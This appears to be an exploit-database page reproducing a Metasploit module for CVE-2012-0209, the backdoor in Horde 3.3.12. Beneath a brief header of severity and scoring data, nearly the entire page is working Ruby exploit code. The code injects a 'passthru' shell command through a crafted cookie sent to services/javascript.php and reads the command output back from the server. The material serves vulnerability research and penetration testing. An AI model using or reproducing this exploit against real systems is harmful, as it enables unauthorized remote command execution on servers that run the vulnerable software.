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Horde 3.3.12 Backdoor Arbitrary PHP Code Execution

CVE Category Price Severity
CVE-2012-0209 CWE-94 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2012-02-22
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012020146

Below is a copy:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
'Description'    => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
'Author'         => [
'Eric Romang',  # first public PoC
'jduck'         # Metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'CVE', '2012-0209'],
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
],
'Privileged'     => false,
'Payload'        =>
{
'BadChars' => "\x0a\x0d",
'DisableNops' => true,
'Space'       => 4096,
'Compat'      =>
{
'PayloadType' => 'cmd',
}
},
'Platform'       => [ 'unix', 'linux' ],
'Arch'           => ARCH_CMD,
'DefaultTarget'  => 0,
'Targets'        => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 13 2012'
))

register_options(
[
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
], self.class)
end

def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end

# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end

function = "passthru"
key = Rex::Text.rand_text_alpha(6)
arguments = "echo #{key}`"+payload.raw+"`#{key}"

res = send_request_cgi({
'uri'     => uri + "/services/javascript.php",
'method'  => 'POST',
'ctype'   => 'application/x-www-form-urlencoded',
'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
'headers' =>
{
'Cookie' => "href="+function+":"+arguments,
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response

if (res)
print_status("The server returned: #{res.code} #{res.message}")
end

resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error("No response found")
end

handler
end

end


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